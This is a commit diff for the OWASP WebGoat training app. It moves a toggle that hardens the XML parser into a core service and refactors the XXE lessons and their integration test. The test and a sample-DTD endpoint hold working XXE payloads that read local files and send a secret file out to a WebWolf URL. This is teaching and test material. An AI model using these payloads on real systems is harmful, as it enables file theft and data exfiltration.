Move enabling security to WebGoat core and add resetting the lessons.
We can use it for more lessons and showcase how to apply security directly from the source code. Resolves: #1176
This commit is contained in:
		| @@ -6,57 +6,28 @@ | ||||
|  | ||||
| package org.owasp.webgoat.service; | ||||
|  | ||||
| import lombok.RequiredArgsConstructor; | ||||
| import org.owasp.webgoat.i18n.Messages; | ||||
| import org.owasp.webgoat.session.WebSession; | ||||
| import org.springframework.stereotype.Controller; | ||||
| import org.springframework.web.bind.annotation.RequestMapping; | ||||
| import org.springframework.web.bind.annotation.ResponseBody; | ||||
|  | ||||
| import javax.servlet.http.HttpServletRequest; | ||||
| import javax.servlet.http.HttpSession; | ||||
| import java.util.ArrayList; | ||||
| import java.util.Collections; | ||||
| import java.util.Date; | ||||
| import java.util.Enumeration; | ||||
| import java.util.List; | ||||
|  | ||||
| /** | ||||
|  * <p>SessionService class.</p> | ||||
|  * | ||||
|  * @author rlawson | ||||
|  * @version $Id: $Id | ||||
|  */ | ||||
| @Controller | ||||
| @RequiredArgsConstructor | ||||
| public class SessionService { | ||||
|  | ||||
|     /** | ||||
|      * Returns hints for current lesson | ||||
|      * | ||||
|      * @param session a {@link javax.servlet.http.HttpSession} object. | ||||
|      * @param request a {@link javax.servlet.http.HttpServletRequest} object. | ||||
|      * @return a {@link java.lang.String} object. | ||||
|      */ | ||||
|     @RequestMapping(path = "/service/session.mvc", produces = "application/json") | ||||
|     public @ResponseBody | ||||
|     String showSession(HttpServletRequest request, HttpSession session) { | ||||
|         StringBuilder sb = new StringBuilder(); | ||||
|         sb.append("id").append(" = ").append(session.getId()).append("\n"); | ||||
|         sb.append("created").append(" = ").append(new Date(session.getCreationTime())).append("\n"); | ||||
|         sb.append("last access").append(" = ").append(new Date(session.getLastAccessedTime())).append("\n"); | ||||
|         sb.append("timeout (secs)").append(" = ").append(session.getMaxInactiveInterval()).append("\n"); | ||||
|         sb.append("session from cookie?").append(" = ").append(request.isRequestedSessionIdFromCookie()).append("\n"); | ||||
|         sb.append("session from url?").append(" = ").append(request.isRequestedSessionIdFromURL()).append("\n"); | ||||
|         sb.append("=====================================\n"); | ||||
|         // get attributes | ||||
|         List<String> attributes = new ArrayList<String>(); | ||||
|         Enumeration keys = session.getAttributeNames(); | ||||
|         while (keys.hasMoreElements()) { | ||||
|             String name = (String) keys.nextElement(); | ||||
|             attributes.add(name); | ||||
|         } | ||||
|         Collections.sort(attributes); | ||||
|         for (String attribute : attributes) { | ||||
|             String value = session.getAttribute(attribute) + ""; | ||||
|             sb.append(attribute).append(" = ").append(value).append("\n"); | ||||
|         } | ||||
|         return sb.toString(); | ||||
|     private final WebSession webSession; | ||||
|     private final RestartLessonService restartLessonService; | ||||
|     private final Messages messages; | ||||
|  | ||||
|     @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json") | ||||
|     @ResponseBody | ||||
|     public String applySecurity() { | ||||
|         webSession.toggleSecurity(); | ||||
|         restartLessonService.restartLesson(); | ||||
|  | ||||
|         var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled"; | ||||
|         return messages.getMessage(msg); | ||||
|     } | ||||
| } | ||||
|   | ||||
| @@ -5,8 +5,6 @@ import org.owasp.webgoat.users.WebGoatUser; | ||||
| import org.springframework.security.core.context.SecurityContextHolder; | ||||
|  | ||||
| import java.io.Serializable; | ||||
| import java.sql.Connection; | ||||
| import java.sql.SQLException; | ||||
|  | ||||
| /** | ||||
|  * ************************************************************************************************* | ||||
| @@ -39,9 +37,10 @@ import java.sql.SQLException; | ||||
|  */ | ||||
| public class WebSession implements Serializable { | ||||
|  | ||||
| 	private static final long serialVersionUID = -4270066103101711560L; | ||||
| 	private final WebGoatUser currentUser; | ||||
|     private Lesson currentLesson; | ||||
|     private static final long serialVersionUID = -4270066103101711560L; | ||||
|     private final WebGoatUser currentUser; | ||||
|     private transient Lesson currentLesson; | ||||
|     private boolean securityEnabled; | ||||
|  | ||||
|     public WebSession() { | ||||
|         this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); | ||||
| @@ -73,4 +72,12 @@ public class WebSession implements Serializable { | ||||
|     public String getUserName() { | ||||
|         return currentUser.getUsername(); | ||||
|     } | ||||
|  | ||||
|     public void toggleSecurity() { | ||||
|         this.securityEnabled = !this.securityEnabled; | ||||
|     } | ||||
|  | ||||
|     public boolean isSecurityEnabled() { | ||||
|         return securityEnabled; | ||||
|     } | ||||
| } | ||||
|   | ||||
| @@ -60,4 +60,6 @@ not.empty=This field is required. | ||||
| username.size=Please use between 6 and 10 characters. | ||||
| username.duplicate=User already exists. | ||||
| password.size=Password should at least contain 6 characters | ||||
| password.diff=The passwords do not match. | ||||
| password.diff=The passwords do not match. | ||||
| security.enabled=Security enabled, you can try the previous challenges and see the effect! | ||||
| security.disabled=Security enabled, you can try the previous challenges and see the effect! | ||||
|   | ||||
| @@ -12,10 +12,14 @@ import io.restassured.http.ContentType; | ||||
|  | ||||
| public class XXETest extends IntegrationTest { | ||||
|  | ||||
|     private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>"; | ||||
|     private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>"; | ||||
|     private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;"; | ||||
|     private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>"; | ||||
|     private static final String xxe3 = """ | ||||
|             <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>"""; | ||||
|     private static final String xxe4 = """ | ||||
|             <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>"""; | ||||
|     private static final String dtd7 = """ | ||||
|             <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;"""; | ||||
|     private static final String xxe7 = """ | ||||
|             <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>"""; | ||||
|  | ||||
|     private String webGoatHomeDirectory; | ||||
|     private String webwolfFileDir; | ||||
| @@ -39,8 +43,13 @@ public class XXETest extends IntegrationTest { | ||||
|         startLesson("XXE"); | ||||
|         webGoatHomeDirectory = getWebGoatServerPath(); | ||||
|         webwolfFileDir = getWebWolfServerPath(); | ||||
|         RestAssured.given().when().relaxedHTTPSValidation() | ||||
| 		.cookie("JSESSIONID", getWebGoatCookie()).get(url("/xxe/applysecurity")); | ||||
|         RestAssured.given() | ||||
|                 .when() | ||||
|                 .relaxedHTTPSValidation() | ||||
|                 .cookie("JSESSIONID", getWebGoatCookie()) | ||||
|                 .get(url("service/enable-security.mvc")) | ||||
|                 .then() | ||||
|                 .statusCode(200); | ||||
|         checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); | ||||
|         checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); | ||||
|         checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false); | ||||
|   | ||||
| @@ -83,11 +83,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint { | ||||
|         } | ||||
|  | ||||
|         try { | ||||
|         	boolean secure = false; | ||||
|         	if (null != request.getSession().getAttribute("applySecurity")) { | ||||
|         		secure = true; | ||||
|         	} | ||||
|             Comment comment = comments.parseXml(commentStr, secure); | ||||
|             Comment comment = comments.parseXml(commentStr); | ||||
|             if (CONTENTS.contains(comment.getText())) { | ||||
|                 comment.setText("Nice try, you need to send the file to WebWolf"); | ||||
|             } | ||||
|   | ||||
| @@ -89,11 +89,11 @@ public class Comments { | ||||
|      * XmlMapper bean defined above will be used automatically and the Comment class can be directly used in the | ||||
|      * controller method (instead of a String) | ||||
|      */ | ||||
|     protected Comment parseXml(String xml, boolean secure) throws JAXBException, XMLStreamException { | ||||
|     protected Comment parseXml(String xml) throws JAXBException, XMLStreamException { | ||||
|         var jc = JAXBContext.newInstance(Comment.class); | ||||
|         var xif = XMLInputFactory.newInstance(); | ||||
|          | ||||
|         if (secure) { | ||||
|         if (webSession.isSecurityEnabled()) { | ||||
|         	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant | ||||
|         	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant | ||||
|         } | ||||
|   | ||||
| @@ -68,11 +68,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint { | ||||
|         if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { | ||||
|             String error = ""; | ||||
|             try { | ||||
|                 boolean secure = false; | ||||
|                 if (null != request.getSession().getAttribute("applySecurity")) { | ||||
|                     secure = true; | ||||
|                 } | ||||
|                 Comment comment = comments.parseXml(commentStr, secure); | ||||
|                 Comment comment = comments.parseXml(commentStr); | ||||
|                 comments.addComment(comment, false); | ||||
|                 if (checkSolution(comment)) { | ||||
|                     attackResult = success(this).build(); | ||||
|   | ||||
| @@ -30,7 +30,6 @@ import org.owasp.webgoat.assignments.AttackResult; | ||||
| import org.springframework.beans.factory.annotation.Autowired; | ||||
| import org.springframework.beans.factory.annotation.Value; | ||||
| import org.springframework.http.MediaType; | ||||
| import org.springframework.web.bind.annotation.GetMapping; | ||||
| import org.springframework.web.bind.annotation.PostMapping; | ||||
| import org.springframework.web.bind.annotation.RequestBody; | ||||
| import org.springframework.web.bind.annotation.RequestMapping; | ||||
| @@ -66,15 +65,10 @@ public class SimpleXXE extends AssignmentEndpoint { | ||||
|  | ||||
|     @PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) | ||||
|     @ResponseBody | ||||
|     public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) throws Exception { | ||||
|     public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) { | ||||
|         String error = ""; | ||||
|         try { | ||||
|         	boolean secure = false; | ||||
|         	if (null != request.getSession().getAttribute("applySecurity")) { | ||||
|         		secure = true; | ||||
|         	} | ||||
|             Comment comment = comments.parseXml(commentStr, secure); | ||||
|             //System.err.println("Comment " + comment); | ||||
|             var comment = comments.parseXml(commentStr); | ||||
|             comments.addComment(comment, false); | ||||
|             if (checkSolution(comment)) { | ||||
|                 return success(this).build(); | ||||
| @@ -103,21 +97,12 @@ public class SimpleXXE extends AssignmentEndpoint { | ||||
|     @RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE) | ||||
|     @ResponseBody | ||||
|     public String getSampleDTDFile() { | ||||
|         return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" | ||||
|                 + "<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" | ||||
|                 + "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" | ||||
|                 + "%all;"; | ||||
|     } | ||||
|      | ||||
|     @GetMapping(path="/xxe/applysecurity",produces=MediaType.TEXT_PLAIN_VALUE) | ||||
|     @ResponseBody | ||||
|     public String setSecurity(HttpServletRequest request) { | ||||
| 		 | ||||
| 		String applySecurity = (String) request.getSession().getAttribute("applySecurity"); | ||||
| 		if (applySecurity == null) { | ||||
| 			request.getSession().setAttribute("applySecurity", "true"); | ||||
| 		} | ||||
| 		return "xxe security patch is now applied, you can try the previous challenges and see the effect!"; | ||||
|         return """ | ||||
|                 <?xml version="1.0" encoding="UTF-8"?> | ||||
|                 <!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt"> | ||||
|                 <!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>"> | ||||
|                 %all; | ||||
|                 """; | ||||
|     } | ||||
|  | ||||
| } | ||||
|   | ||||
| @@ -29,7 +29,6 @@ public class User { | ||||
|  | ||||
|     private String username = ""; | ||||
|     private String password = ""; | ||||
|     private String email = ""; | ||||
|  | ||||
|     public String getPassword() { | ||||
|         return password; | ||||
| @@ -47,12 +46,4 @@ public class User { | ||||
|         this.username = username; | ||||
|     } | ||||
|  | ||||
|     public String getEmail() { | ||||
|         return email; | ||||
|     } | ||||
|  | ||||
|     public void setEmail(String email) { | ||||
|         this.email = email; | ||||
|     } | ||||
|  | ||||
| } | ||||
|   | ||||
| @@ -221,8 +221,8 @@ | ||||
| <div class="lesson-page-wrapper"> | ||||
|     <div class="adoc-content" th:replace="doc:XXE_static_code_analysis.adoc"></div> | ||||
|     <br/> | ||||
|     <a id="submitlink" class="btn btn-primary" href="" onclick="javascript:$('#patchbutton').load('/WebGoat/xxe/applysecurity');return false;"><span id="patchbutton">Apply XXE security patch</span></a> | ||||
|     <a id="submitlink" class="btn btn-primary" href="" onclick="javascript:$('#patchbutton').load('/WebGoat/service/enable-security.mvc');return false;"><span id="patchbutton">Apply XXE security patch</span></a> | ||||
| </div> | ||||
|  | ||||
| </body> | ||||
| </html> | ||||
| </html> | ||||
|   | ||||
		Reference in New Issue
	
	Block a user